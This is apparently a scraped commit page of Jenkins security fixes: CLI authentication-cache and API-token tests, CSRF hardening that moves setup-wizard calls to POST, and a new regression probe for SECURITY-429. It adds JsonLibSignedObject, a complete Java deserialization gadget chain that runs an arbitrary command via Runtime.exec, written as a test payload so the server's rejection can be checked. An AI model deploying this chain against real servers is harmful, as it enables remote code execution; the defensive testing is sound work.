* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package hudson.cli;
import com.google.common.collect.Lists;
import hudson.Launcher;
import hudson.security.FullControlOnceLoggedInAuthorizationStrategy;
import hudson.util.Secret;
import hudson.util.StreamTaskListener;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.util.Arrays;
import java.util.List;
import java.util.logging.Level;
import javax.annotation.CheckForNull;
import jenkins.model.JenkinsLocationConfiguration;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.output.TeeOutputStream;
import static org.hamcrest.Matchers.containsString;
import org.junit.Test;
import static org.junit.Assert.*;
import org.junit.Ignore;
import org.junit.Rule;
import org.junit.rules.TemporaryFolder;
import org.jvnet.hudson.test.Issue;
import org.jvnet.hudson.test.JenkinsRule;
import org.jvnet.hudson.test.LoggerRule;
public class ClientAuthenticationCacheTest {
@Rule
public JenkinsRule r = new JenkinsRule();
@Rule
public TemporaryFolder tmp = new TemporaryFolder();
@Rule
public LoggerRule logging = new LoggerRule().record(ClientAuthenticationCache.class, Level.FINER);
@Issue("SECURITY-466")
@Test
public void login() throws Exception {
File jar = tmp.newFile("jenkins-cli.jar");
FileUtils.copyURLToFile(r.jenkins.getJnlpJars("jenkins-cli.jar").getURL(), jar);
r.jenkins.setSecurityRealm(r.createDummySecurityRealm());
r.jenkins.setAuthorizationStrategy(new FullControlOnceLoggedInAuthorizationStrategy());
assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i");
assertCLI(0, null, jar, "login", "--username", "dev", "--password", "dev");
try {
assertCLI(0, "Authenticated as: dev", jar, "who-am-i");
ClientAuthenticationCache cache = new ClientAuthenticationCache(null);
String val = cache.props.getProperty(cache.getPropertyKey());
assertNotNull(val);
System.err.println(val);
Secret s = Secret.decrypt(val);
if (s != null && s.getPlainText().equals("dev")) {
val = Secret.fromString("admin").getEncryptedValue();
}
System.err.println(val);
val = val.replace("dev", "admin");
System.err.println(val);
cache.props.put(cache.getPropertyKey(), val);
cache.save();
assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i");
} finally {
assertCLI(0, null, jar, "logout");
}
}
@Ignore("TODO fails unless CLICommand.main patched to replace (auth==Jenkins.ANONYMOUS) with (auth instanceof AnonymousAuthenticationToken), not just (Jenkins.ANONYMOUS.equals(auth)), since SecurityFilters.groovy sets userAttribute='anonymous,' so UserAttributeEditor.setAsText configures AnonymousProcessingFilter with a token with an empty authority which fails AbstractAuthenticationToken.equals")
@Test
public void overHttp() throws Exception {
File jar = tmp.newFile("jenkins-cli.jar");
FileUtils.copyURLToFile(r.jenkins.getJnlpJars("jenkins-cli.jar").getURL(), jar);
r.jenkins.setSecurityRealm(r.createDummySecurityRealm());
r.jenkins.setAuthorizationStrategy(new FullControlOnceLoggedInAuthorizationStrategy());
r.jenkins.setSlaveAgentPort(-1);
assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i");
assertCLI(0, null, jar, "login", "--username", "admin", "--password", "admin");
try {
assertCLI(0, "Authenticated as: admin", jar, "who-am-i");
} finally {
assertCLI(0, null, jar, "logout");
}
}
@Test
public void getPropertyKey() throws Exception {
ClientAuthenticationCache cache = new ClientAuthenticationCache(null);
assertEquals(r.getURL().toString(), cache.getPropertyKey());
JenkinsLocationConfiguration.get().setUrl(null);
String key = cache.getPropertyKey();
assertTrue(key, Secret.decrypt(key) != null);
}
private void assertCLI(int code, @CheckForNull String output, File jar, String... args) throws Exception {
List<String> commands = Lists.newArrayList("java", "-jar", jar.getAbsolutePath(), "-s", r.getURL().toString(), "-noKeyAuth", "-remoting");
commands.addAll(Arrays.asList(args));
ByteArrayOutputStream baos = new ByteArrayOutputStream();
assertEquals(code, new Launcher.LocalLauncher(StreamTaskListener.fromStderr()).launch().cmds(commands).stdout(new TeeOutputStream(System.out, baos)).stderr(System.err).join());
if (output != null) {
assertThat(baos.toString(), containsString(output));
}
}
}
......@@ -5,6 +5,8 @@ import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
import com.gargoylesoftware.htmlunit.HttpMethod;
import com.gargoylesoftware.htmlunit.WebRequest;
import com.gargoylesoftware.htmlunit.html.HtmlForm;
import com.gargoylesoftware.htmlunit.html.HtmlPage;
import hudson.Util;
......@@ -12,6 +14,7 @@ import hudson.model.User;
import hudson.security.ACL;
import hudson.security.ACLContext;
import hudson.util.Scrambler;
import java.net.URL;
import jenkins.model.Jenkins;
import org.junit.Rule;
import org.junit.Test;
......@@ -112,7 +115,17 @@ public class ApiTokenPropertyTest {
// Make sure that Admin can reset a token of another user
WebClient wc = createClientForUser("bar");
HtmlPage res = wc.goTo(foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken");
wc.getOptions().setThrowExceptionOnFailingStatusCode(false);
HtmlPage requirePOST = wc.goTo(foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken");
assertEquals("method should not be allowed", 405, requirePOST.getWebResponse().getStatusCode());
wc.getOptions().setThrowExceptionOnFailingStatusCode(true);
WebRequest request = new WebRequest(new URL(j.getURL().toString() + foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken"), HttpMethod.POST);
wc.addCrumb(request);
HtmlPage res = wc.getPage(request);
// TODO This nicer alternative requires https://github.com/jenkinsci/jenkins/pull/2268 or similar to work
// HtmlPage res = requirePOST.getPage().getForms().get(0).getElementsByAttribute("input", "type", "submit").get(0).click();
assertEquals("Update token response is incorrect",
Messages.ApiTokenProperty_ChangeToken_SuccessHidden(), "<div>" + res.getBody().asText() + "</div>");
}
......
......@@ -170,6 +170,13 @@ public class Security218CliTest {
probe(Payload.Ldap, PayloadCaller.EXIT_CODE_REJECTED);
}
@PresetData(PresetData.DataSet.ANONYMOUS_READONLY)
@Test
@Issue("SECURITY-429")
public void jsonLibSignedObject() throws Exception {
probe(Payload.JsonLibSignedObject, 1);
}
private void probe(Payload payload, int expectedResultCode) throws Exception {
File file = File.createTempFile("security-218", payload + "-payload");
File moved = new File(file.getAbsolutePath() + "-moved");
......
......@@ -47,6 +47,7 @@ public enum Payload {
Spring1(Spring1.class),
Spring2(Spring2.class),
Ldap(Ldap.class),
JsonLibSignedObject(JsonLibSignedObject.class),
;
private final Class<? extends ObjectPayload> payloadClass;
......
package jenkins.security.security218.ysoserial.payloads;
import java.io.ObjectStreamException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.concurrent.ConcurrentSkipListSet;
import java.util.concurrent.CopyOnWriteArraySet;
import net.sf.json.JSONArray;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.collection.AbstractCollectionDecorator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.ReferenceMap;
import org.apache.commons.collections.set.ListOrderedSet;
/** @author an independent security researcher reporting to Beyond Security’s SecuriTeam Secure Disclosure program */
public class JsonLibSignedObject implements ObjectPayload<Object> {
@Override
public Object getObject(String cmd) throws Exception {
final String[] execArgs = new String[] { cmd };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
execArgs), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array2 = (Object[]) f2.get(innimpl);
Object node = array2[0];
if (node == null) {
node = array2[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField(
"key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
PublicKey publicKey = keyPair.getPublic();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject payload = new SignedObject(map, privateKey, signature);
JSONArray array = new JSONArray();
array.add("asdf");
ListOrderedSet set = new ListOrderedSet();
Field f1 = AbstractCollectionDecorator.class
.getDeclaredField("collection");
f1.setAccessible(true);
f1.set(set, array);
DummyComperator comp = new DummyComperator();
ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp);
csls.add(payload);
CopyOnWriteArraySet a1 = new CopyOnWriteArraySet();
CopyOnWriteArraySet a2 = new CopyOnWriteArraySet();
a1.add(set);
Container c = new Container(csls);
a1.add(c);
a2.add(csls);
a2.add(set);
ReferenceMap flat3map = new ReferenceMap();
flat3map.put(new Container(a1), "asdf");
flat3map.put(new Container(a2), "asdf");
return flat3map;
}
static class Container implements Serializable {
private Object o;
public Container(Object o) {
this.o = o;
}
private Object writeReplace() throws ObjectStreamException {
return o;
}
}
static class DummyComperator implements Comparator, Serializable {
public int compare(Object arg0, Object arg1) {
// TODO Auto-generated method stub
return 0;
}
private Object writeReplace() throws ObjectStreamException {
return null;
}
}
}
......@@ -28,7 +28,7 @@ THE SOFTWARE.
<parent>
<groupId>org.jenkins-ci.main</groupId>
<artifactId>pom</artifactId>
<version>2.57-SNAPSHOT</version>
<version>2.58-SNAPSHOT</version>
</parent>
<artifactId>jenkins-war</artifactId>
......
......@@ -177,7 +177,7 @@ exports.incompleteInstallStatus = function(handler, correlationId) {
* Call this to complete the installation without installing anything
*/
exports.completeInstall = function(handler) {
jenkins.get('/setupWizard/completeInstall', function() {
jenkins.post('/setupWizard/completeInstall', {}, function() {
handler.call({ isError: false });
}, {
timeout: pluginManagerErrorTimeoutMillis,
......@@ -219,7 +219,7 @@ exports.installPluginsDone = function(handler) {
* Restart Jenkins
*/
exports.restartJenkins = function(handler) {
jenkins.get('/updateCenter/safeRestart', function() {
jenkins.post('/updateCenter/safeRestart', {}, function() {
handler.call({ isError: false });
}, {
timeout: pluginManagerErrorTimeoutMillis,
......
......@@ -11,8 +11,13 @@ exports.saveFirstUser = function($form, success, error) {
jenkins.staplerPost(
'/setupWizard/createAdminUser',
$form,
success, {
dataType: 'html',
function(response) {
var crumbRequestField = response.data.crumbRequestField;
if (crumbRequestField) {
require('window-handle').getWindow().crumb.init(crumbRequestField, response.data.crumb);
}
success(response);
}, {
error: error
});
};
......
Markdown is supported
0% .
You are about to add 0 people to the discussion. Proceed with caution.
先完成此消息的编辑!
想要评论请 注册